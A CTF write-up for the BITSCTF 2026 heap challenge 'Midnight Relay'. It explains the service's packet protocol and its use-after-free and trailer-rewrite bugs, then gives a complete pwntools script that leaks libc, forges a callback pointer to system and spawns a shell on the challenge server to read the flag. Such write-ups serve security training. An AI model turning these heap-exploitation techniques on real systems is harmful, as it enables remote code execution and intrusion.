BITSCTF 2026 - Midnight Relay - Binary Exploitation Writeup

552 words

3 minutes

BITSCTF 2026 - Midnight Relay - Binary Exploitation Writeup

2026-02-22

Writeup

CTF

/

Security

/

Binary Exploitation

Category: Binary Exploitation

Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}

Challenge Description#

Given midnight_relay.tar.gz. Remote: nc 20.193.149.152 1338

Protocol: Packet header = op (u8) | key (u8) | len (u16 LE), max payload 0x500. Operations: 0x11 forge, 0x22 tune, 0x33 observe, 0x44 shred, 0x55 sync, 0x66 fire.

Analysis#

Each slot (idx & 0xf) entry contains: ptr (qword), size (u16), armed (u8).

forge allocates calloc(1, size+0x20) and writes trailer at t = ptr + size:

1
t[0] = (t >> 12) ^ cookie ^ 0x48454c494f5300ff
2
t[3] = ((rand()<<32) ^ rand())
3
t[2] = ptr
4
t[1] = (t >> 13) ^ idle ^ t[0] ^ t[3]

fire computes callback: fn = (t >> 13) ^ t[0] ^ t[1] ^ t[3] then call fn(). Important: rdi contains ptr at call rax, so if fn = system, it executes system(ptr).

Vulnerabilities:

Use-after-free: shred frees chunk but does not clear slots[idx].ptr
UAF read/write: observe/tune can still access freed memory
Trailer rewrite: tune can rewrite all trailer fields (size+0x20 window)

Exploitation#

Forge chunk 0 with /bin/sh\x00 at chunk start
Leak ptr + cookie from trailer (observe(0, size, 0x20))
Free large chunk (size 0x500) and leak unsorted-bin pointer at offset 0x20
Compute libc base: libc_base = unsorted_fd - 0x203B20
Restore /bin/sh\x00 at chunk start (free clobbers first bytes)
Forge valid trailer so decoded callback = system
sync with correct token, then fire => system('/bin/sh')

1
# !/usr/bin/env python3
2
from pwn import *
3

4
HOST, PORT = '20.193.149.152', 1338
5
CONST = 0x48454C494F5300FF
6
INIT_EPOCH = 0x6B1D5A93
7
MAIN_ARENA_PLUS60 = 0x203B20
8
SYSTEM_OFF = 0x58750
9

10
io = remote(HOST, PORT)
11
io.recvline()
12

13
epoch = INIT_EPOCH
14

15
def key(payload: bytes) -> int:
16
    global epoch
17
    x = epoch
18
    for b in payload:
19
        x = ((x * 8) ^ (x >> 2) ^ b ^ 0x71) & 0xFFFFFFFF
20
    return x & 0xFF
21

22
def bump(op: int):
23
    global epoch
24
    epoch ^= ((op << 9) | 0x5F)
25
    epoch &= 0xFFFFFFFF
26

27
def send_pkt(op: int, payload: bytes = b''):
28
    io.send(p8(op) + p8(key(payload)) + p16(len(payload)) + payload)
29

30
def forge(idx: int, size: int, tag: bytes):
31
    send_pkt(0x11, p8(idx) + p16(size) + p8(len(tag)) + tag)
32
    bump(0x11)
33

34
def tune(idx: int, off: int, data: bytes):
35
    send_pkt(0x22, p8(idx) + p16(off) + p16(len(data)) + data)
36
    bump(0x22)
37

38
def observe(idx: int, off: int, n: int) -> bytes:
39
    send_pkt(0x33, p8(idx) + p16(off) + p16(n))
40
    d = io.recvn(n, timeout=2)
41
    if len(d) != n:
42
        raise EOFError(f"short observe: expected {n}, got {len(d)}")
43
    bump(0x33)
44
    return d
45

46
def shred(idx: int):
47
    send_pkt(0x44, p8(idx))
48
    bump(0x44)
49

50
def sync(idx: int, token: int):
51
    send_pkt(0x55, p8(idx) + p32(token))
52
    bump(0x55)
53

54
def fire(idx: int):
55
    send_pkt(0x66, p8(idx))
56
    bump(0x66)
57

58
# 1) Allocate command chunk and leak trailer
59
idx = 0
60
size = 0x500
61
forge(idx, size, b'/bin/sh\x00')
62
tr = observe(idx, size, 0x20)
63
t0, t1, ptr, t3 = [u64(tr[i:i+8]) for i in range(0, 32, 8)]
64
cookie = t0 ^ ((ptr + size) >> 12) ^ CONST
65

66
# 2) Leak libc from unsorted bin
67
forge(1, 0x80, b'G')
68
shred(idx)
69
unsorted_fd = u64(observe(idx, 0x20, 8))
70
libc_base = unsorted_fd - MAIN_ARENA_PLUS60
71
system = libc_base + SYSTEM_OFF
72

73
# Restore command string (free metadata clobbered chunk start)
74
tune(idx, 0, b'/bin/sh\x00')
75

76
# 3) Forge authenticated trailer for callback=system
77
T = ptr + size
78
ft0 = ((T >> 12) ^ cookie ^ CONST) & ((1 << 64) - 1)
79
ft3 = 0
80
ft2 = ptr
81
ft1 = ((T >> 13) ^ system ^ ft0 ^ ft3) & ((1 << 64) - 1)
82
tune(idx, size, p64(ft0) + p64(ft1) + p64(ft2) + p64(ft3))
83

84
# 4) Arm and trigger
85
token = (epoch ^ (ft0 & 0xFFFFFFFF) ^ (ft3 & 0xFFFFFFFF)) & 0xFFFFFFFF
86
sync(idx, token)
87
fire(idx)
88

89
# 5) Read flag
90
io.sendline(b'cat /app/flag.txt; exit')
91
print(io.recvrepeat(2).decode('latin-1', errors='ignore'))
92
io.close()